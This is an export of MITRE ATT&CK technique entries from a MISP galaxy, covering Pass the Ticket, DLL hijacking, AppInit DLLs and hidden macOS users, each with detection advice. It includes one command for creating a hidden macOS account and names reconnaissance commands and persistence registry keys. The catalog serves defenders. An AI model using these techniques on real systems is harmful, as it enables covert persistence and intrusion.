Detection: Configure robust, consistent account activity audit policies across the enterprise.[[Citation: TechNet Audit Policy]] Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).

Perform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X

Data Sources: Authentication logs, Process monitoring

Effective Permissions: User, Administrator

The tag is: *misp-galaxy:mitre-attack-pattern="Valid Accounts"*

Table 1788. Table References

Links
https://attack.mitre.org/wiki/Technique/T1078
https://technet.microsoft.com/en-us/library/dn487457.aspx
https://technet.microsoft.com/en-us/library/dn535501.aspx

LC_MAIN Hijacking

As of OS X 10.8, mach-O binaries introduced a new header called LC_MAIN that points to the binary's entry point for execution. Previously, there were two headers to achieve this same effect: LC_THREAD and LC_UNIXTHREAD [[Citation: Prolific OSX Malware History]]. The entry point for a binary can be hijacked so that initial execution flows to a malicious addition (either another section or a code cave) and then goes back to the initial entry point so that the victim doesn't know anything was different [[Citation: Methods of Mac Malware Persistence]]. By modifying a binary in this way, application whitelisting can be bypassed because the file name or application path is still the same.

Detection: Determining the original entry point for a binary is difficult, but checksum and signature verification is very possible. Modifying the LC_MAIN entry point or adding in an additional LC_MAIN entry point invalidates the signature for the file and can be detected. Collect running process information and compare against known applications to look for suspicious behavior.

Platforms: MacOS, OS X

Data Sources: Binary file metadata, Malware reverse engineering, Process Monitoring

The tag is: *misp-galaxy:mitre-attack-pattern="LC_MAIN Hijacking"*

Table 1789. Table References

Links
https://attack.mitre.org/wiki/Technique/T1149
https://assets.documentcloud.org/documents/2459197/bit9-carbon-black-threat-research-report-2015.pdf
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf

System Service Discovery

Adversaries may try to get information about registered services. Commands that may obtain information about services using operating system utilities are "sc," "tasklist /svc" using Tasklist, and "net start" using Net, but adversaries may also use other tools as well.

Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Windows Management Instrumentation and PowerShell.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: Process monitoring, Process command-line parameters

The tag is: *misp-galaxy:mitre-attack-pattern="System Service Discovery"*

Table 1790. Table References

Links
https://attack.mitre.org/wiki/Technique/T1007

System Owner/User Discovery

===Windows===

Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using Credential Dumping. The information may be collected in a number of different ways using other Windows Management Instrumentation and PowerShell.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X

Data Sources: File monitoring, Process monitoring, Process command-line parameters

The tag is: *misp-galaxy:mitre-attack-pattern="System Owner/User Discovery"*

Table 1791. Table References

Links
https://attack.mitre.org/wiki/Technique/T1033

Multiband Communication

Some adversaries may split communications between different protocols. There could be one protocol for inbound command and control and another for outbound data, allowing it to bypass certain firewall restrictions. The split could also be random to simply avoid data threshold alerts on any one communication.

Detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]] Correlating alerts between multiple communication channels can further help identify command-and-control behavior.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X

Data Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Malware reverse engineering, Process monitoring

The tag is: *misp-galaxy:mitre-attack-pattern="Multiband Communication"*

Table 1792. Table References

Links
https://attack.mitre.org/wiki/Technique/T1026
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Pass the Ticket

Pass the ticket (PtT)Valid Accounts are captured by Credential Dumping. A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.[[Citation: ADSecurity AD Kerberos Attacks]][[Citation: GentilKiwi Pass the Ticket]]

Silver Tickets can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).[[Citation: ADSecurity AD Kerberos Attacks]]

Golden Tickets can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.[[Citation: Campbell 2014]]

Detection: Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity.

Event ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to "Integrity check on decrypted field failed" and indicates misuse by a previously invalidated golden ticket.[[Citation: CERT-EU Golden Ticket Protection]]

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: Authentication logs

Contributors: Ryan Becwar

The tag is: *misp-galaxy:mitre-attack-pattern="Pass the Ticket"*

Table 1793. Table References

Links
https://attack.mitre.org/wiki/Technique/T1097
http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf
http://www.aorato.com/labs/pass-the-ticket/
https://adsecurity.org/?p=556
http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos

Windows Remote Management

Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).[[Citation: Microsoft WinRM]] It may be called with the <code>winrm</code> command or by any number of programs such as PowerShell.[[Citation: Jacobsen 2014]]

Detection: Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: File monitoring, Authentication logs, Netflow/Enclave netflow, Process monitoring, Process command-line parameters

The tag is: *misp-galaxy:mitre-attack-pattern="Windows Remote Management"*

Table 1794. Table References

Links

https://attack.mitre.org/wiki/Technique/T1028
http://msdn.microsoft.com/en-us/library/aa384426
http://www.slideee.com/slide/lateral-movement-with-powershell

Audio Capture

An adversary can leverage a computer’s peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.

Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.

Detection: Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.

Behavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10

Data Sources: API monitoring, Process monitoring, File monitoring

The tag is: *misp-galaxy:mitre-attack-pattern="Audio Capture"*

Table 1795. Table References

Links
https://attack.mitre.org/wiki/Technique/T1123

Custom Cryptographic Protocol

Adversaries may use a custom cryptographic protocol or algorithm to hide command and control traffic. A simple scheme, such as XOR-ing the plaintext with a fixed key, will produce a very weak ciphertext.

Custom encryption schemes may vary in sophistication. Analysis and reverse engineering of malware samples may be enough to discover the algorithm and encryption key used.

Some adversaries may also attempt to implement their own version of a well-known cryptographic algorithm instead of using a known implementation library, which may lead to unintentional errors.[[Citation: F-Secure Cosmicduke]]

Detection: If malware uses custom encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures.[[Citation: Fidelis DarkComet]]

In general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect when communications do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X

Data Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Malware reverse engineering, Process monitoring

The tag is: *misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol"*

Table 1796. Table References

Links
https://attack.mitre.org/wiki/Technique/T1024
https://www.f-secure.com/documents/996508/1030745/cosmicduke%20whitepaper.pdf
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://www.fidelissecurity.com/sites/default/files/FTA%201018%20looking%20at%20the%20sky%20for%20a%20dark%20comet.pdf

Graphical User Interface

Cause a binary or script to execute based on interacting with the file through a graphical user interface (GUI) or in an interactive remote session such as Remote Desktop Protocol.

Detection: Detection of execution through the GUI will likely lead to significant false positives. Other factors should be considered to detect misuse of services that can lead to adversaries gaining access to systems through interactive remote sessions.

Unknown or unusual process launches outside of normal behavior on a particular system occurring through remote interactive sessions are suspicious. Collect and audit security logs that may indicate access to and use of [[Legitimate Credentials]] to access remote systems within the network.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X

Data Sources: File monitoring, Process monitoring, Process command-line parameters, Binary file metadata

The tag is: *misp-galaxy:mitre-attack-pattern="Graphical User Interface"*

Table 1797. Table References

Links
https://attack.mitre.org/wiki/Technique/T1061

Fallback Channels

Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.

Detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X

Data Sources: Packet capture, Netflow/Enclave netflow, Malware reverse engineering, Process use of network, Process monitoring

The tag is: *misp-galaxy:mitre-attack-pattern="Fallback Channels"*

Table 1798. Table References

Links
https://attack.mitre.org/wiki/Technique/T1008
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Exploitation of Vulnerability

Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Exploiting software vulnerabilities may allow adversaries to run a command or binary on a remote system for lateral movement, escalate a current process to a higher privilege level, or bypass security mechanisms. Exploits may also allow an adversary access to privileged accounts and credentials. One example of this is MS14-068, which can be used to forge Kerberos tickets using domain user permissions.[[Citation: Technet MS14-068]][[Citation: ADSecurity Detecting Forged Tickets]]

Detection: Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Software and operating system crash reports may contain useful contextual information about attempted exploits that correlate with other malicious activity. Exploited processes may exhibit behavior that is unusual for the specific process, such as spawning additional processes or reading and writing to files.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X

Data Sources: Windows Error Reporting, File monitoring, Process monitoring

Effective Permissions: User, Administrator, SYSTEM

Contributors: John Lambert, Microsoft Threat Intelligence Center

The tag is: *misp-galaxy:mitre-attack-pattern="Exploitation of Vulnerability"*

Table 1799. Table References

Links
https://attack.mitre.org/wiki/Technique/T1068
https://technet.microsoft.com/en-us/library/security/ms14-068.aspx
https://adsecurity.org/?p=1515

Hidden Users

Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in <code>/Library/Preferences/com.apple.loginwindow</code> called <code>Hide500Users</code> that prevents users with userIDs 500 and lower from appearing at the login screen. By using the Create Account technique with a userID under 500 and enabling this property (setting it to Yes), an adversary can hide their user accounts much more easily: <code>sudo dscl . -create /Users/username UniqueID 401</code>[[Citation: Cybereason OSX Pirrit]].

Detection: This technique prevents the new user from showing up at the log in screen, but all of the other signs of a new user still exist. The user still gets a home directory and will appear in the authentication logs.

Platforms: MacOS, OS X

Data Sources: Authentication logs, File monitoring

The tag is: *misp-galaxy:mitre-attack-pattern="Hidden Users"*

Table 1800. Table References

Links
https://attack.mitre.org/wiki/Technique/T1147
https://www2.cybereason.com/research-osx-pirrit-mac-os-x-secuirty

Binary Padding

Some security tools inspect files with static signatures to determine if they are known malicious. Adversaries may add data to files to increase the size beyond what security tools are capable of handling or to change the file hash to avoid hash-based blacklists.

Detection: Depending on the method used to pad files, a file-based signature may be capable of detecting padding using a scanning or on-access based tool.

When executed, the resulting process from padded files may also exhibit other behavior characteristics of being used to conduct an intrusion such as system and network information or [[Lateral Movement]], which could be used as event indicators that point to the source file.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X

The tag is: *misp-galaxy:mitre-attack-pattern="Binary Padding"*

Table 1801. Table References

Links
https://attack.mitre.org/wiki/Technique/T1009

Login Item

MacOS provides the option to list specific applications to run when a user logs in. These applications run under the logged in user’s context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them[[Citation: Adding Login Items]]. Users have direct control over login items installed using a shared file list which are also visible in System Preferences[[Citation: Adding Login Items]]. These login items are stored in the user’s <code>~/Library/Preferences/</code> directory in a plist file called <code>com.apple.loginitems.plist</code>[[Citation: Methods of Mac Malware Persistence]]. Some of these applications can open visible dialogs to the user, but they don’t all have to since there is an option to ‘Hide’ the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in[[Citation: Malware Persistence on OS X]][[Citation: OSX.Dok Malware]].

Detection: All the login items are viewable by going to the Apple menu → System Preferences → Users & Groups → Login items. This area should be monitored and whitelisted for known good applications. Monitor process execution resulting from login actions for unusual or unknown applications.

Platforms: MacOS, OS X

The tag is: *misp-galaxy:mitre-attack-pattern="Login Item"*

Table 1802. Table References

Links
https://attack.mitre.org/wiki/Technique/T1162
https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/

https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html
https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf

Redundant Access

Adversaries may use more than one remote access tool with varying command and control protocols as a hedge against detection. If one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary’s tools and access, then the adversary will be able to retain access to the network. Adversaries may also attempt to gain access to Valid Accounts to use External Remote Services such as external VPNs as a way to maintain access despite interruptions to remote access tools deployed within a target network.Web Shell is one such way to maintain access to a network through an externally accessible Web server.

Detection: Existing methods of detecting remote access tools are helpful. Backup remote access tools or other access points may not have established command and control channels open during an intrusion, so the volume of data transferred may not be as high as the primary channel unless access is lost.

Detection of tools based on beacon traffic, Valid Accounts and External Remote Services to collect account use information.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X

Data Sources: Process monitoring, Process use of network, Packet capture, Network protocol analysis, File monitoring, Authentication logs, Binary file metadata

The tag is: *misp-galaxy:mitre-attack-pattern="Redundant Access"*

Table 1803. Table References

Links
https://attack.mitre.org/wiki/Technique/T1108
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf

Data Encrypted

Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip.

Other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol

Detection: Encryption software and encrypted files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known encryption utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used. Often the encryption key is stated within command-line invocation of the software.

A process that loads the Windows DLL crypt32.dll may be used to perform encryption, decryption, or verification of file signatures.

Network traffic may also be analyzed for entropy to determine if encrypted data is being transmitted.[[Citation: Zhang 2013]] If the communications channel is unencrypted, encrypted files of known file types can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers.[[Citation: Wikipedia File Header Signatures]]

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X

Data Sources: File monitoring, Process monitoring, Process command-line parameters, Binary file metadata

The tag is: *misp-galaxy:mitre-attack-pattern="Data Encrypted"*

Table 1804. Table References

Links
https://attack.mitre.org/wiki/Technique/T1022
http://www.netsec.colostate.edu/zhang/DetectingEncryptedBotnetTraffic.pdf[http://www.netsec.colostate.edu/zhang/DetectingEncryptedBotnetTraffic.pdf]
https://en.wikipedia.org/wiki/List%20of%20file%20signatures

DLL Search Order Hijacking

Windows systems use a common method to look for required DLLs to load into a program.[[Citation: Microsoft DLL Search]] Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence.

Adversaries may perform DLL preloading, also called binary planting attacks,[[Citation: OWASP Binary Planting]] by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL.[[Citation: Microsoft 2269637]] Adversaries may use this behavior to cause the program to load a malicious DLL.

Adversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation.[[Citation: Microsoft DLL Redirection]][[Citation: Microsoft Manifests]][[Citation: Mandiant Search Order]]

If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.

Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.

Detection: Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious. Disallow loading of remote DLLs.[[Citation: Microsoft DLL Preloading]]

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: File monitoring, DLL monitoring, Process monitoring, Process command-line parameters

Effective Permissions: User, Administrator, SYSTEM

Contributors: Stefan Kanthak

The tag is: *misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking"*

Table 1805. Table References

Links
https://attack.mitre.org/wiki/Technique/T1038
https://msdn.microsoft.com/en-US/library/aa375365
https://www.owasp.org/index.php/Binary%20planting
http://msdn.microsoft.com/en-US/library/ms682586
http://blogs.technet.com/b/srd/archive/2010/08/23/more-information-about-dll-preloading-remote-attack-vector.aspx
http://msdn.microsoft.com/en-US/library/ms682600
http://blogs.technet.com/b/msrc/archive/2010/08/21/microsoft-security-advisory-2269637-released.aspx
https://www.mandiant.com/blog/dll-search-order-hijacking-revisited/

Data from Network Shared Drive

Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to cmd may be used to gather information.

Detection: Monitor processes and command-line arguments for actions that could be taken to collect files from a network share. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X

Data Sources: File monitoring, Process monitoring, Process command-line parameters

The tag is: *misp-galaxy:mitre-attack-pattern="Data from Network Shared Drive"*

Table 1806. Table References

Links
https://attack.mitre.org/wiki/Technique/T1039

AppInit DLLs

DLLs that are specified in the AppInit_DLLs value in the Registry key <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows</code> are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program. This value can be abused to obtain persistence by causing a DLL to be loaded into most processes on the computer.[[Citation: AppInit Registry]]

The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled.[[Citation: AppInit Secure Boot]]

Detection: Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs.[[Citation: TechNet Autoruns]]

Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for [[Command and Control]], learning details about the environment through , and conducting [[Lateral Movement]].

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: Loaded DLLs, Process monitoring, Windows Registry

Effective Permissions: Administrator, SYSTEM

The tag is: *misp-galaxy:mitre-attack-pattern="AppInit DLLs"*

Table 1807. Table References

Links
https://attack.mitre.org/wiki/Technique/T1103
https://support.microsoft.com/en-us/kb/197571
https://msdn.microsoft.com/en-us/library/dn280412
https://technet.microsoft.com/en-us/sysinternals/bb963902

Standard Non-Application Layer Protocol

Use of a standard non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.[[Citation: Wikipedia OSI]] Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), and transport layer protocols, such as the User Datagram Protocol (UDP).

ICMP communication between hosts is one example. Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts;[[Citation: Microsoft ICMP]] however, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.

Detection: Analyze network traffic for ICMP messages or other protocols that contain abnormal data or are not normally seen within or exiting the network.

Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X

The tag is: *misp-galaxy:mitre-attack-pattern="Standard Non-Application Layer Protocol"*

Table 1808. Table References

Links
https://attack.mitre.org/wiki/Technique/T1095
http://support.microsoft.com/KB/170292
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Plist Modification

Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UT-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as <code>/Library/Preferences</code> (which execute with elevated privileges) and <code>~/Library/Preferences</code> (which execute with a user's privileges). Adversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism[[Citation: Sofacy Komplex Trojan]].

Detection: File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like "Knock Knock" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed.

Monitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity.

Platforms: MacOS, OS X

Data Sources: File monitoring, Process Monitoring, Process command-line parameters

The tag is: *misp-galaxy:mitre-attack-pattern="Plist Modification"*

Table 1809. Table References

Links
https://attack.mitre.org/wiki/Technique/T1150
https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/

Netsh Helper DLL

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility.[[Citation: TechNet Netsh]] The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at <code>HKLM\SOFTWARE\Microsoft\Netsh</code>.

Adversaries can use netsh.exe with helper DLLs to proxy execution of arbitrary code in a persistent manner when netsh.exe is executed automatically with another technique or if other persistent software is present on the system that executes netsh.exe as part of its normal functionality. Examples include some VPN software that invoke netsh.exe.[[Citation: Demaske Netsh Persistence]]

Proof of concept code exists to load Cobalt Strike's payload using netsh.exe helper DLLs.[[Citation: Github Netsh Helper CS Beacon]]

Detection: It is likely unusual for netsh.exe to have any child processes in most environments.

Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the <code>HKLM\SOFTWARE\Microsoft\Netsh</code> registry key for any new or suspicious entries that do not correlate with known system files or benign software.[[Citation: Demaske Netsh Persistence]]

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: DLL monitoring, Windows Registry, Process monitoring

Contributors: Matthew Demaske, Adaptforward

The tag is: *misp-galaxy:mitre-attack-pattern="Netsh Helper DLL"*

Table 1810. Table References

Links
https://attack.mitre.org/wiki/Technique/T1128
https://technet.microsoft.com/library/bb490939.aspx
https://github.com/outflankbv/NetshHelperBeacon
https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html

Account Manipulation

Account manipulation may aid adversaries in maintaining access to credentials and certain permission levels within an environment. Manipulation could consist of modifying permissions, adding or changing permission groups, modifying account settings, or modifying how authentication is performed. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain.

Detection: Collect events that correlate with changes to account objects on systems and the domain, such as event ID 4738.[[Citation: Microsoft User Modified Event]] Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems.

Use of credentials may also occur at unusual times or to unusual systems or services and may correlate with other suspicious activity.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: Authentication logs, API monitoring, Windows event logs

The tag is: *misp-galaxy:mitre-attack-pattern="Account Manipulation"*

Table 1811. Table References

Links
https://attack.mitre.org/wiki/Technique/T1098
https://docs.microsoft.com/windows/device-security/auditing/event-4738

Remote System Discovery

Adversaries will likely attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Net.

===Mac===

Specific to Mac, the <code>bonjour</code> protocol to discover additional Mac-based systems within the same broadcast domain. Utilities such as "ping" and others can be used to gather information about remote systems.

===Linux===

Utilities such as "ping" and others can be used to gather information about remote systems.

Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Windows Management Instrumentation and PowerShell.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, MacOS, OS X

